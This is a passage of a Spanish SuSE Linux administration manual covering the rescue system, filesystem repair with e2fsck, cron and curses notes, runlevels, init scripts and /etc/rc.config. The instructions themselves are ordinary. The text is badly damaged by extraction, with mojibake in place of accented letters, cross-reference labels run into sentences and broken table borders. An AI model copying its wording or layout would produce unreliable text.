  27351.                                  opci≤n  `Iniciar  sistema  de  rescate'  (ver  figura  16.5  en  la  pßgi-
  27352.                                  na 421Iniciar la instalaci≤n / SistemaHfootnote.70) y se indica despuΘs el
  27353.                                  medio fuente (figura 16.8):
  27354.  
  27355.                                  `CD-ROM':         Esta  es  la  ''opci≤n  normal''.   linuxrc  procede  a  cargar  un
  27356.                                      sistema  confortable  de  rescate  (.../suse/images/rescue).   Para
  27357.                                      poder ir por este camino hace falta un mφnimo de 16 MB de memoria
  27358.  
  27359.  
  27360. 426
  27361.        ____________________________________________________________________________16.5.__El_sistema_de_rescate_de_SuSE____________*
  27362.  *______________________
  27363.  
  27364.  
  27365.  
  27366.           RAM (mejor 24 MB). Ademßs, el directorio /cdrom se exporta, lo que
  27367.           permite arrancar c≤modamente el sistema de rescate y despuΘs efectuar
  27368.           una instalaci≤n de red desde el mismo CD (para ello hay que configurar
  27369.           adecuadamente las variables en /etc/rc.config y ejecutar despuΘs
  27370.           SuSEconfig ;  ver  apartado  17.5  en  la  pßgina  435/etc/rc.config              y
  27371.           SuSEconfig section.17.5).
  27372.  
  27373.       `Red  (NFS)':           Acceder  al  sistema  rescue  por  red  vφa  NFS.  Para  ello
  27374.           hace falta cargar anteriormente el driver de la tarjeta de red  ; ver tam-
  27375.           biΘn las indicaciones generales en el apartado 2.4.2 en la pßgina 51In-
  27376.           stalaci≤n desde una fuente en la ''red''subsection.2.4.2  .
  27377.  
  27378.       `Red  (FTP)':           Acceder al sistema rescue por red vφa FTP. íNo olvidar
  27379.           el driver de red!
  27380.  
  27381.       `Disco  duro':            Cargar el sistema rescue desde el disco duro.
  27382.  
  27383.       `Disquete':           Arrancar el sistema rescue desde un disquete como se ha
  27384.           indicado antes.  Se trata de una variante que funciona tambiΘn cuando
  27385.           la computadora tiene poca memoria RAM.
  27386.  
  27387.  
  27388. Ahora se descomprime el sistema de rescate y se carga como nuevo sistema
  27389. de fichero raφz en un ''RAM-Disk'' (disco virtual), se monta, arranca y queda
  27390. asφ operativo.
  27391.  
  27392.  
  27393. Trabajar con el sistema de rescate
  27394.  
  27395. El sistema de rescate proporciona, con las teclas |A_____|lt+ |F___|_1hasta |A_____|lt+ |F___|_3,
  27396. tres diferentes consolas virtuales en las que se puede efectuar un login (entrar
  27397. en  el  sistema)_ como__usuario  `root'  sin  necesidad  de  contrase±a.  Con  las
  27398. teclas |A____l|t+ |F____1|0se llega a la consola de sistema para ver los mensajes del
  27399. kernel y de syslog .
  27400.  
  27401. En el directorio /bin se encuentran las shells y las utilidades (p. ej.  mount )
  27402. y un conjunto de utilidades para ficheros y red, como p. ej.  e2fsck , que sirve
  27403. para comprobar y arreglar sistemas de fichero. En /sbin se encuentran tam-
  27404. biΘn  los  binarios  mßs  importantes  para  la  administraci≤n  del  sistema  como
  27405. fdisk , mkfs , mkswap , init , shutdown  y para el uso de red ifconfig , route  y
  27406. netstat .
  27407.  
  27408. Bajo /usr/bin se encuentra el editor vi  al igual que las herramientas (grep ,
  27409. find , less , etc.) y sobre todo telnet .
  27410.  
  27411.  
  27412. Ejemplo: Acceso al sistema ''normal''
  27413.  
  27414. Como punto de montaje del sistema Linux en el disco duro, estß previsto el
  27415. directorio /mnt,  lo que no impide generar otros directorios y usarlos como
  27416. puntos de montaje.
  27417.  
  27418. Supongamos  que  el  sistema  normal  contiene  seg·n  /etc/fstab  las  parti-
  27419. ciones Linux, como se observa en el ejemplo del fichero 16.5.1 en la pßgina
  27420. siguiente.
  27421.  
  27422. En este caso se puede montar el sistema paso por paso bajo /mnt usando los
  27423. siguientes comandos (íVigilar el orden!):
  27424.  
  27425.  
  27426.                                                                                                                                    *
  27427.  *   427
  27428. 16.  Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
  27429.  *_______________________________________@
  27430.  
  27431.                            ________________________________________________________________________________________________________*
  27432.  *________
  27433.                            |                                                                                                       *
  27434.  *         |
  27435.                            |    /dev/sdb5            swap              swap              defaults     0     0                      *
  27436.  *         |
  27437.                            |                                                                                                       *
  27438.  *         |
  27439.                            |    /dev/sdb3            /                   ext2              defaults     1     1                    *
  27440.  *         |
  27441.                            |    /dev/sdb6            /usr              ext2              defaults     1     2                      *
  27442.  *         |
  27443.                            |                                                                                                       *
  27444.  *         |
  27445.                            |_______________________________________________________________________________________________________*
  27446.  *________ |
  27447.  
  27448.                                                      Fichero 16.5.1: Ejemplo de /etc/fstab
  27449.  
  27450.  
  27451.  
  27452.                                  tierra:/  #  mount  /dev/sdb3  /mnt
  27453.                                  tierra:/  #  mount  /dev/sdb6  /mnt/usr
  27454.                            Ahora se tiene acceso a todo el sistema y se pueden corregir errores en los
  27455.                            ficheros  de  configuraci≤n  como  en  /etc/fstab,  /etc/passwd  o  /etc/
  27456.                            inittab.  Por supuesto, estos ficheros se encuentran ahora bajo /mnt/etc
  27457.                            en lugar de /etc.
  27458.  
  27459.                            Todo  usuario  experimentado  de  Linux  archiva  cuanto  antes  un  impreso  en
  27460.                            papel de /etc/fstab y de la respuesta del comando:
  27461.  
  27462.                                  tierra:  #  fdisk  -l  /dev/<disk>
  27463.  
  27464.                            En lugar de <disk> hay que indicar uno por uno los nombres de dispositivo
  27465.                            de los discos duros del sistema, p. ej. hda    (ver el listado en el apartado D.1 en
  27466.                            la pßgina 513Ficheros de dispositivos en el directorio /dev    section.D.1). Si se
  27467.                            sabe exactamente d≤nde estß una partici≤n perdida, serφa posible recuperarla
  27468.                            con fdisk , generßndola de nuevo sencillamente.
  27469.  
  27470.  
  27471.  
  27472.                            Ejemplo: Arreglar sistemas de fichero
  27473.  
  27474.  
  27475.                            Un sistema de fichero da±ado es una raz≤n seria para recurrir al sistema de
  27476.                            rescate. Se produce p. ej.  por no haber apagado correctamente la computadora
  27477.                            (en caso de corte de la electricidad) o por un cuelgue de sistema. No se puede
  27478.                            arreglar un sistema de fichero durante el uso normal de la computadora y en
  27479.                            ''casos  graves''  ni  siquiera  se  puede  montar  el  sistema  de  fichero  raφz  y  el
  27480.                            arranque termina en el mensaje "kernel  panic".  En tal caso solo queda la
  27481.                            posibilidad del arreglo ''desde fuera'' con un sistema de rescate.
  27482.  
  27483.                            Este  sistema  de  SuSE      Linux  contiene  las  utilidades  e2fsck   y  tambiΘn
  27484.                            dumpe2fs  para  el  diagn≤stico,  lo  que  sirve  para  la  mayorφa  de  problemas.
  27485.                            Generalmente en casos de emergencia no se puede acceder a la Manual-Page
  27486.                            de  e2fsck ,  por  lo  tanto  se  encuentra  impresa  en  el  anexo  E  en  la  pßgi-
  27487.                            na 519Manual-Page de e2fsckappendix.E.
  27488.  
  27489.                            Ejemplo:  Cuando un sistema de fichero se resiste a su montaje debido a un
  27490.                            S·per-bloque no vßlido, lo mßs probable es que e2fsck fracase en el intento
  27491.                            de arreglarlo. La soluci≤n es usar uno de los respaldos del S·per-bloque, que
  27492.                            se encuentran cada 8192 bloques (bloque 8193, 16385. . . )  en el sistema de
  27493.                            fichero. Se puede hacer con el comando:
  27494.  
  27495.                                  tierra:  #  e2fsck  -f  -b  8193  /dev/<Partici≤n_Da±ada>
  27496.  
  27497.                            La opci≤n -f   fuerza la comprobaci≤n del sistema de fichero para evitar que
  27498.                            e2fsck  asuma  que  todo  estß  en  orden  por  el  hecho  de  haber  detectado  la
  27499.                            copia intacta del S·per-bloque.
  27500.  
  27501.  
  27502.  
  27503. 428
  27504.        _______________________________________________________________16.6.__Indicaciones_sobre_paquetes_especiales________________*
  27505.  *______________________
  27506.  
  27507.  
  27508.  
  27509. 16.6        Indicaciones sobre paquetes especiales
  27510.  
  27511. 16.6.1       paquete cron
  27512.  
  27513. Las  tablas  de  cron  ya  no  se  encuentran  bajo  /var/lib/cron  sino  bajo
  27514. /var/cron/tabs.   Como  tabla  de  comandos  para  todo  el  sistema  se  gen-
  27515. era el fichero /etc/crontab.  En este fichero hay que apuntar, ademßs de la
  27516. hora, cußl usuario ha encargado la tarea a ejecutar (ver fichero 16.6.1, donde
  27517. se  indica  `root'  como  usuario);  las  tablas  especφficas  de  los  paquetes  (en
  27518. /etc/cron.d) siguen la misma filosofφa ~ ver pßgina del manual de cron
  27519. (man  8  cron       ).
  27520.  
  27521.        _______________________________________________________________________________________________________________________
  27522.        ||||||||                                                                                                                |
  27523.        ||||||||    1-59/5  *  *  *  *  root  test  -x  /usr/sbin/atrun  &&  /usr/sbin/atrun                                    |
  27524.        ||||||||                                                                                                                |
  27525.        ||||||||                                                                                                                |
  27526.        ||||||||_______________________________________________________________________________________________________________ |
  27527.  
  27528.           Fichero 16.6.1: Ejemplo para una indicaci≤n en /etc/crontab
  27529.  
  27530.  
  27531. No se puede usar el comando crontab  -e          para modificar /etc/crontab;
  27532. se debe modificar con un editor y posteriormente grabarlo.
  27533.  
  27534. Hay  algunos  paquetes  que  instalan  scripts  dentro  de  los  directorios  /etc/
  27535. cron.hourly,   /etc/cron.daily,   /etc/cron.weekly  y  /etc/cron.
  27536. monthly. De la ejecuci≤n de estos se encarga /usr/lib/cron/run-crons,
  27537. que  se  inicia  cada  15  minutos  desde  la  tabla  principal  (/etc/contrab).
  27538. No  se  asombre  entonces  si  el  usuario  `nobody'  aparece  poco  despuΘs  del
  27539. arranque del sistema, con mucha actividad en la tabla de procesos.  Lo mßs
  27540. probable es que `nobody' estΘ en tales momentos actualizando el banco de
  27541. datos locate  (ver el apartado 17.6 en la pßgina 446Seguridad y servicios de
  27542. mantenimiento localesHfootnote.77).
  27543.  
  27544.  
  27545. 16.6.2       paquete curses
  27546.  
  27547. El  CD  contiene  ahora  el  paquete  ncurses  cuyas  bibliotecas  se  denominan
  27548. libncurses.so.<xx>                  .   Por  eso  hay  que  modificar  en  muchos  Makefiles
  27549. los comandos para el Linker.  No se deberφan traducir paquetes propios con
  27550. -lcurses         sino con -lncurses         .  Quienes lo deseen hacer a pesar de todo,
  27551. deben usar los siguientes comandos:
  27552.  
  27553.       -I/usr/include/termcap  -I/usr/include/curses
  27554.       -L/usr/lib/termcap  -L/usr/lib/curses
  27555.  
  27556.  
  27557. 16.6.3       Fuentes del paquete uucp
  27558.  
  27559. Las fuentes del paquete uucp se encuentran actualmente  dentro de las fuentes
  27560. source-RPM de Sendmail  como sub-paquete.
  27561.  
  27562.  
  27563. 16.6.4       Manual-Pages
  27564.  
  27565. Para algunos programas GNU, no se siguen manteniendo las Manual-Pages
  27566. (p. ej.  tar ).  En su lugar se puede usar de ayuda rßpida la extensi≤n --help
  27567. o los ficheros del tipo info.  Info  (info    ) es el sistema de hipertexto de GNU
  27568. cuyo  uso  se  explica  con  el  comando  info  info       .  Se  puede  llamar  a  info
  27569.  
  27570.  
  27571.                                                                                                                                    *
  27572.  *   429
  27573. 16.  Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
  27574.  *_______________________________________@
  27575.  
  27576.  
  27577.  
  27578.                            a travΘs de Emacs  con el comando emacs  -f  info           o tambiΘn s≤lo con el
  27579.                            comando info    .  Un uso agradable lo ofrecen tkinfo      , xinfo      o el acceso a
  27580.                            travΘs del sistema de ayuda; ver el apartado 16.4 en la pßgina 422El sistema
  27581.                            de ayuda para SuSE     Linux section.16.4.
  27582.  
  27583.  
  27584.  
  27585.                            16.7        Distribuci≤n de teclado
  27586.  
  27587.                            Para normalizar la distribuci≤n del teclado de los distintos programas, se han
  27588.                            modificado los siguientes ficheros:
  27589.                            /etc/inputrc
  27590.                            /usr/X11R6/lib/X11/Xmodmap
  27591.                            /etc/skel/.Xmodmap
  27592.                            /etc/skel/.exrc
  27593.                            /etc/skel/.less
  27594.                            /etc/skel/.lesskey
  27595.                            /etc/csh.cshrc
  27596.                            /etc/termcap
  27597.                            /usr/lib/terminfo/x/xterm
  27598.                            /usr/X11R6/lib/X11/app-defaults/XTerm
  27599.                            /usr/share/emacs/20.5/site-lisp/term/*.el
  27600.                            /usr/lib/joerc
  27601.                            Estas  modificaciones  solo  tienen  efecto  sobre  las  aplicaciones  que  leen  los
  27602.                            parßmetros  terminfo         o  sobre  aquellas  cuyos  ficheros  de  configuraci≤n
  27603.                            fueron  modificados  directamente  (vi  ,  less   ,  etc.).   Se  recomienda  adaptar
  27604.                            otras aplicaciones no-SuSE a estas definiciones.
  27605. 430
  27606.  
  27607.                                                                                                       Capφtulo  17
  27608.          El   concepto   de   arranque   de   SuSE
  27609.  
  27610.  
  27611.  
  27612.                                                                                                                     Linux
  27613.  
  27614.  
  27615. El arranque y la inicializaci≤n de un sistema UNIX provoca un hormigueo
  27616. incluso  al  administrador  de  sistemas  mßs  experimentado.   Este  capφtulo  da
  27617. una breve introducci≤n al concepto de arranque de SuSE     Linux. Su concepto
  27618. es mßs complejo pero tambiΘn mucho mßs flexible que el de la mayorφa de
  27619. otros sistemas Linux.  Se basa en el moderno concepto de arranque System
  27620. V -Workstation, como estß descrito p. ej.  en [Fri93   ].
  27621.  
  27622. Con las especφficas palabras "Uncompressing  Linux..." el Kernel toma
  27623. el  mando  de  todo  el  Hardware  del  sistema;  comprueba  y  fija  la  consola  1 ,
  27624. para  despuΘs  leer  los  valores  predeterminados  de  la  BIOS  e  inicializar  las
  27625. interfaces elementales de la placa base.  En los pr≤ximos pasos los distintos
  27626. drivers ~ que forman parte del Kernel ~ ''prueban'' el Hardware presente para
  27627. realizar una inicializaci≤n,  en caso necesario.  DespuΘs del ''Chequeo de la
  27628. partici≤n''  y  la  carga  del  Root-Filesystem2 ,  el  Kernel  ejecuta  el  programa
  27629. /sbin/init , el cual realiza el autΘntico arranque del sistema con sus m·ltiples
  27630. programas  auxiliares  y  sus  configuraciones  El  Kernel  sigue  gestionando  el
  27631. sistema  completo,  el  tiempo  de  cßlculo  de  los  programas  y  sus  accesos  al
  27632. Hardware.
  27633.  
  27634.  
  27635. 17.1        El init -Programm
  27636.  
  27637. El programa /sbin/init  es el proceso correspondiente para una inicializaci≤n
  27638. correcta del sistema; se puede decir que es el ''Padre de todos los procesos''
  27639. de sistema.
  27640.  
  27641. Dentro de todos los programas, init tiene un status especial: init es ejecutado
  27642. directamente por el Kernel y por lo tanto no tiene efecto la se±al 9, con la cual
  27643. todos los procesos pueden ser ''interrumpidos''.  Los procesos siguientes son
  27644. ejecutados directamente por init  o por uno de sus ''Procesos subordinados''.
  27645.  
  27646. Se configura init centralizado a travΘs del fichero /etc/inittab; aquφ se de-
  27647. finen los llamados ''Runlevel'' (se comenta mßs detenidamente en la secci≤n
  27648. siguiente) y se prefija quΘ ha de ocurrir en los diferentes niveles. Dependien-
  27649. do de la escritura en /etc/inittab, init  ejecuta diferentes scripts, que por
  27650. razones_de_organizaci≤n_se_reunen_en_el_directorio_/sbin/init.d._
  27651. 1 Mßs exactamente el registro de la BIOS de la tarjeta grßfica y el formato de salida de la pantalla.
  27652. 2 Conectar de la partici≤n raφz al directorio /.
  27653.  
  27654.  
  27655.                                                                                                                                    *
  27656.  *   431
  27657. 17.  El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
  27658.  *_______________________________________@
  27659.  
  27660.  
  27661.  
  27662.                            Asφ, todo el proceso de arranque ~ y naturalmente la secuencia de apagado ~
  27663.                            es controlado por el proceso init ; en este sentido se puede considerar el Kernel
  27664.                            prßcticamente como ''Proceso en segundo plano'', el cual tiene como objetivo
  27665.                            gestionar los procesos arrancados, dedicarles tiempo de cßlculo y posibilitar
  27666.                            y controlar el acceso al Hardware.
  27667.  
  27668.  
  27669.  
  27670.                            17.2        Los Runlevel
  27671.  
  27672.                            Bajo Linux existen diferentes Runlevel (nivel de ejecuci≤n), que definen quΘ
  27673.                            estado  debe  tener  el  sistema.   El  Runlevel  estßndar,  en  el  cual  arranca  el
  27674.                            sistema, estß en el fichero /etc/inittab inscrito mediante initdefault          ;
  27675.                            normalmente es 2  o 3  (ver tabla 17.1).  Alternativamente se puede introducir
  27676.                            el Runlevel requerido en el proceso de arranque (p. ej.  en LILO-Prompt); el
  27677.                            Kernel transfiere parßmetros que Θl no puede tratar sin modificar al proceso
  27678.                            init .
  27679.  
  27680.                            Se  puede  cambiar  a  otro  Runlevel,  solo  introduciendo  init  con  el  n·mero
  27681.                            correspondiente; naturalmente el cambio a otro Runlevel solo puede ser ges-
  27682.                            tionado por el +  Administrador de sistema.
  27683.  
  27684.                            Por ejemplo se logra mediante el siguiente comando
  27685.  
  27686.                                  root@tierra:/  >  init  S
  27687.  
  27688.                            entrar en el modo llamado single user mode, el cual se preocupa del manten-
  27689.                            imiento y administraci≤n del sistema.  DespuΘs de que el administrador del
  27690.                            sistema ha acabado su trabajo se puede iniciar, para que con
  27691.  
  27692.                                  root@tierra:/  >  init  2
  27693.  
  27694.                            arranque el sistema en el Runlevel corriente, en el cual todos los programas
  27695.                            necesarios  se  ejecutan  y  los  usuarios  individuales  pueden  dar  un  aviso  al
  27696.                            sistema.
  27697.  
  27698.                            La tabla 17.1 da una orientaci≤n sobre los Runlevel disponibles.  Runlevel 1
  27699.                            no deberφa ser utilizado en un sistema del cual /usr-Partition estß cargado
  27700.                            vφa NFS!
  27701.                            ________________________________________________________________________________________________________*
  27702.  *________
  27703.  
  27704.  
  27705.                             __Runlevel__________Significado________________________________________________________________________*
  27706.  *________
  27707.                               0                 Stop
  27708.                               S                 Single User Mode
  27709.                               1                 Multi User sin red
  27710.                               2                 Multi User con red (estßndar)
  27711.                               3                 Multi User con red y Xdm
  27712.                               4                 Libre
  27713.                               5                 Libre
  27714.                            ___6_________________Reboot_____________________________________________________________________________*
  27715.  *________
  27716.  
  27717.                                           Tabla 17.1: Lista de los Runlevel disponibles bajo Linux
  27718.  
  27719.  
  27720.                            En consecuencia resulta que tambiΘn se puede parar el sistema con
  27721.  
  27722.                            root@tierra:/  >  init  0
  27723.  
  27724.                            o reinicializßndolo de nuevo con,
  27725.  
  27726.  
  27727. 432
  27728.        __________________________________________________________________________________________17.3.__Cambio_del_Runlevel________*
  27729.  *______________________
  27730.  
  27731.  
  27732.  
  27733.       root@tierra:/  >  init  6.
  27734. Si el sistema X Window ya esta correctamente configurado (apartado 8.1 en la
  27735. pßgina 238Configuraci≤n con SaX  section.8.1) y los usuarios quieren entrar
  27736. directamente  al  entorno  grßfico  del  sistema,  se  puede  cambiar  el  valor  del
  27737. Runlevel estßndar a 3  en /etc/inittab.  Antes de realizar esta operaci≤n,
  27738. se deberφa comprobar si el sistema funciona tal como se desea introduciendo
  27739.       root@tierra:/  >  init  3
  27740.        _______________________________________________________________________________________________________________________|||||
  27741.  
  27742.        ||||||||  Un  /etc/inittab  alterado  puede  hacer  que  el  sistema  ya  no  arranque                   |||            |
  27743.        ||||||||  correctamente.    Hay  que  tener  cuidado  al  modificar  este  fichero.    ~                 ||             |
  27744.        ||||||||                                                                                                 ||             |
  27745.        ||||||||  Como  ayuda  de  emergencia  se  puede  intentar  transferir  el  parßmetro                    ||             |
  27746.        ||||||||  init=/bin/sh            del  LILO-Prompt,  para  arrancar  directamente  dentro  de            ||             |
  27747.        ||||||||                                                                                                 ||             |
  27748.        ||||||||  una  Shell  (ver  apartado  16  en  la  pßgina  122┐Cußl  es  la  apariencia  del              ||             |
  27749.        ||||||||                                                                                                 ||             |
  27750.        ||||||||  arranque  con  LILO ?Hfootnote.16);  se  puede  hacer  del  siguiente  modo:                   ||             |
  27751.        ||||||||  boot:    linux  init=/bin/sh                                                                   ||             |
  27752.        ||||||||_______________________________________________________________________________________________________________||_
  27753.  
  27754.  
  27755. 17.3        Cambio del Runlevel
  27756.  
  27757. En un cambio del Runlevel ocurre generalmente lo siguiente:  Los llamados
  27758. scripts de parada del Runlevel actual se ejecutan~ los diferentes programas
  27759. que se estßn ejecutando en este nivel se finalizan ~ y los scripts de arranque
  27760. del  nuevo  Runlevel  se  inicializan.   En  un  procedimiento  como  Θste,  en  la
  27761. mayorφa de los casos se ejecutan varios programas.
  27762.  
  27763. Para aclarar esto consideramos en un ejemplo, quΘ ocurre si cambiamos del
  27764. Runlevel 2 a Runlevel 3:
  27765.  
  27766.   o   El administrador (`root') comunica al proceso init  que debe cambiar el
  27767.       Runlevel:
  27768.            root@tierra:/  >  init  3
  27769.   o   init  consulta el fichero de configuraci≤n /etc/inittab y detecta que el
  27770.       script /sbin/init.d/rc debe ser llamado con el nuevo Runlevel como
  27771.       parßmetro.
  27772.   o   Ahora  llama  rc  a  todos  los  Stop-scripts  del  Runlevel  actual,  para  los
  27773.       cuales no existe un Start-script en el Runlevel nuevo; en nuestro ejemplo
  27774.       son todos los scripts, que se encuentran en el subdirectorio /sbin/init.
  27775.       d/rc2.d (el ·ltimo Runlevel era 2) y que comienzan con `K'3 . El n·mero
  27776.       que sigue a la `K' asegura, que se mantenga un cierto orden en el proceso,
  27777.       porque ocasionalmente algunos programas dependen de otros.
  27778.   o   Por ·ltimo son llamados los Start-scripts del nuevo Runlevel; estos estßn
  27779.       en nuestro ejemplo en /sbin/init.d/rc3.d y empiezan con una `S'.
  27780.       TambiΘn aquφ se mantiene un orden determinado el cual esta fijado por el
  27781.       n·mero que sigue de la `S'.
  27782.  
  27783. Si  cambia  al  mismo  Runlevel  en  cual  se  encuentra,init  lee  solo  el  /etc/
  27784. inittab, comprueba el fichero para cambios existentes y en caso necesario
  27785. realiza los procedimientos adecuados (p. ej.  ejecuta un getty      en otra inter-
  27786. faz).
  27787. 3      ____________________________________________________
  27788.   Los nombres de los Stop-scripts empiezan siempre con `K' (ingl. kill), los de los Start-scripts
  27789. con `S' (ingl. start).
  27790.  
  27791.  
  27792.                                                                                                                                    *
  27793.  *   433
  27794. 17.  El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
  27795.  *_______________________________________@
  27796.  
  27797.  
  27798.  
  27799.                            17.4        Los Init-scripts
  27800.          Concepto          Los  scripts bajo /sbin/init.d se dividen en dos categorφas:
  27801.  
  27802.  
  27803.                              o   scripts, que son llamados directamente por init : Esto solo sucede en caso
  27804.                                  de arranque asφ como tambiΘn en caso de un apagado instantßneo_(en_caso   ____
  27805.                                  de fallo de tensi≤n o por pulsar la combinaci≤n de teclas |C______|trl+ |A____l|t+
  27806.                                  |________|Supprpor parte del usuario).
  27807.  
  27808.                              o   scripts, que son llamados indirectamente por init : Esto ocurre en caso de
  27809.                                  un cambio del Runlevel;  aquφ generalmente se ejecuta el script superior
  27810.                                  /sbin/init.d/rc , el que se encarga de que sean llamados los scripts corre-
  27811.                                  spondientes en su secuencia correcta.
  27812.  
  27813.                            Todos los scripts se encuentran bajo /sbin/init.d.  Los que se usan para
  27814.                            el  cambio  del  Runlevel  se  encuentran  tambiΘn  en  este  directorio,  pero  son
  27815.                            llamados siempre como un enlace simb≤lico desde uno de los subdirectorios
  27816.                            /sbin/init.d/rc0.d hasta /sbin/init.d/rc6.d.  Esto sirve para orga-
  27817.                            nizar y, evita que los scripts tengan que estar presentes varias veces, por ser
  27818.                            utilizados en diferentes Runlevel.  Para que cada uno de los scripts pueda ser
  27819.                            llamado como Start- o Stop-script, Θstos tienen que entender los dos parßmet-
  27820.                            ros start      y stop    .
  27821.  
  27822.            Ejemplo         Al   salir  del  Runlevel  2  es  llamado  /sbin/init.d/rc2.d/K40network;
  27823.                            /sbin/init.d/rc llama el script /sbin/init.d/network con el parßmetro
  27824.                            stop    .  Por ·ltimo,  al entrar en Runlevel 3,  se ejecuta el mismo script pero
  27825.                            ahora con el parßmetro start     .
  27826.  
  27827.                            Los enlaces en los subdirectorios especφficos de los Runlevel solo sirven para
  27828.                            unir cada script con un determinado Runlevel.
  27829.  
  27830.               Boot y       A   continuaci≤n se encuentra una breve descripci≤n del primer Boot- y del
  27831.         Shutdown           ·ltimo Shutdown-scripts asφ como del script de control:
  27832.  
  27833.                              o   boot
  27834.                                  Es ejecutado directamente por init  en el arranque del sistema.  Es inde-
  27835.                                  pendiente del Default-Runlevel requerido y se ejecuta solo una vez. Aquφ
  27836.                                  se ejecuta el Kernel-Daemon, que se encarga de la carga automßtica de los
  27837.                                  m≤dulos-Kernel.  Se realiza la comprobaci≤n de los sistemas de ficheros,
  27838.                                  ficheros sobrantes bajo /var/lock se eliminan y la red se configura para
  27839.                                  el Loopback-Device, en caso que sea apuntado en /etc/rc.config. Ac-
  27840.                                  to seguido se fija el tiempo real del sistema y el Plug-and-Play-Hardware
  27841.                                  es  configurado  mediante  los  isapnp-Tools  (ver  apartado  10.2.1  en  la
  27842.                                  pßgina 288┐C≤mo activar tarjetas PnP con isapnp ?subsection.10.2.1 .
  27843.                                  Si aparece un fallo grave durante la comprobaci≤n y reparaci≤n automßti-
  27844.                                  ca de los sistemas de fichero, el administrador del sistema tiene la posi-
  27845.                                  bilidad de resolver el problema manualmente, despuΘs de haber entrado
  27846.                                  el c≤digo de seguridad.
  27847.                                  Este script tiene adjudicado ademßs el directorio /sbin/init.d/boot.
  27848.                                  d; todos los scripts encontrados, que comiencen con `S', son automßti-
  27849.                                  camente ejecutados en el proceso de arranque del sistema. Este es el sitio
  27850.                                  ideal para ampliaciones personales, que solo tienen que ser activadas una
  27851.                                  vez en el proceso de arranque.
  27852.                                  Por ·ltimo se ejecuta el script boot.local .
  27853.  
  27854.  
  27855. 434
  27856.        __________________________________________________________________________17.5.__/etc/rc.config______________y_SuSEconfig___*
  27857.  *______________________
  27858.  
  27859.  
  27860.  
  27861.   o   boot.local
  27862.       Aquφ se pueden introducir mßs cosas que se deban ejecutar en el arranque,
  27863.       antes  que  el  sistema  entre  en  uno  de  los  Runlevel;  se  puede  hacer  la
  27864.       comparaci≤n con el fichero AUTOEXEC.BAT bajo DOS.
  27865.  
  27866.   o   boot.setup
  27867.       Son fijaciones bßsicas que se deben realizar cuando se cambia desde el
  27868.       single user mode a cualquier otro Runlevel. Aquφ se cargan la distribuci≤n
  27869.       del teclado y la configuraci≤n de la consola.
  27870.  
  27871.   o   halt
  27872.       Este script solo se ejecuta entrando en Runlevel 0 o 6. Entonces es ejecu-
  27873.       tado mediante el nombre halt o el nombre reboot. Dependiendo de c≤mo
  27874.       se llama a halt , el sistema se reinicializa o se apaga totalmente.
  27875.  
  27876.   o   rc
  27877.       Es  el  script  superior,  el  cual  es  llamado  en  cada  cambio  del  Runlevel.
  27878.       Ejecuta los Stop-scripts del Runlevel actual y despuΘs los Start-scripts del
  27879.       nuevo.
  27880.  
  27881.  
  27882.                                                                                                                    Scripts propios
  27883.  
  27884. Se  pueden  a±adir  scripts  propios  mediante  este  concepto;  un  patr≤n  estß
  27885. preparado en /sbin/init.d/skeleton.  Para controlar la ejecuci≤n de un
  27886. script  propio  mediante  el  /etc/rc.config,  se  deberφa  crear  una  variable-
  27887. <START`> y entonces usarla en el propio script; los parßmetros adicionales
  27888. solo  se  deben  introducir  en  el  /etc/rc.config  en  casos  justificados  (ver
  27889. p. ej.  el script /sbin/init.d/gpm).
  27890.  
  27891. Ahora se deben crear enlaces desde cada directorio rc al script nuevo, para
  27892. que  Θste  se  ejecute  cambiando  de  Runlevel;  ver  apartado  17.3  en  la  pßgi-
  27893. na  433Cambio  del  Runlevelsection.17.3.   TambiΘn  en  la  misma  referencia
  27894. se explica la asignaci≤n de nombres a los enlaces.  Los detalles tΘcnicos se
  27895. describen en la pßgina del manual de init.d       (man  7  init.d         ).
  27896.        _______________________________________________________________________________________________________________________
  27897.        ||||||||                                                                                                 ||             |
  27898.        ||||||||  Elaborando  scripts  propios  hay  que  tener  cuidado  ~  un  script  con  fallos             ||             |
  27899.        ||||||||  es capaz de provocar el bloqueo de la computadora; ver apartado 17.2 en                        ||             |
  27900.        ||||||||                                                                                                 ||             |
  27901.        ||||||||  la pßgina 432Los Runlevelsection.17.2, si se diera el caso en que deje de                      ||             |
  27902.        ||||||||  funcionar el sistema. . .                                                                      ||             |
  27903.        ||||||||_______________________________________________________________________________________________________________||_
  27904.  
  27905. 17.5        /etc/rc.config                   y SuSEconfig
  27906.  
  27907.  
  27908.  
  27909. Prßcticamente toda la configuraci≤n de SuSE      Linux se puede realizar medi-
  27910. ante el fichero de configuraci≤n central /etc/rc.config.  Este fichero con-
  27911. tiene una serie de variables de entorno que son evaluadas por los spripts de
  27912. inicializaci≤n (ingl. init scripts).  Cada uno de los scripts en /sbin/init.d
  27913. carga como primer fichero /etc/rc.config para acoger los valores actuales
  27914. de cada variable.
  27915.  
  27916.  
  27917.                                                                                                                                    *
  27918.  *   435
  27919. 17.  El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
  27920.  *_______________________________________@
  27921.  
  27922.                            ________________________________________________________________________________________________________*
  27923.  *________|||
  27924.                            |                                                                                                       *
  27925.  *        |||
  27926.                            |  Desde  SuSE     Linux  6.0  hay  ciertos  paquetes  con  amplias  posibilidades                      *
  27927.  *        |||
  27928.                            |  de  configuraci≤n,  cuyas  variables  se  traspasan  a  ficheros  individuales                       *
  27929.  *        |||
  27930.                            |                                                                                                       *
  27931.  *        |||
  27932.                            |  en  el  directorio  /etc/rc.config.d;  algunos  ejemplos  son  el  paquete                           *
  27933.  *        |||
  27934.                            |  sendmail o elpaquete i4l (RDSI).                                                                     *
  27935.  *        |||
  27936.                            |                                                                                                       *
  27937.  *        |||
  27938.                            |                                                                                                       *
  27939.  *        |||
  27940.                            |  íNo  obstante  en  este  apartado  se  considera  generalmente  que  todas  las                      *
  27941.  *        |||
  27942.                            |                                                                                                       *
  27943.  *        |||
  27944.                            |  variables se encuentran en /etc/rc.config!                                                           *
  27945.  *        |||
  27946.                            |_______________________________________________________________________________________________________*
  27947.  *________|||_
  27948.  
  27949.                            Ademßs se pueden generar muchos mßs ficheros de configuraci≤n del sistema
  27950.                            en dependencia de /etc/rc.config; de esto se encarga /sbin/SuSEconfig .
  27951.                            Asφ p. ej. ,  despuΘs de un cambio en la configuraci≤n de la red se genera de
  27952.                            nuevo el fichero /etc/resolv.conf, porque depende de la manera de c≤mo
  27953.                            estΘ configurado.
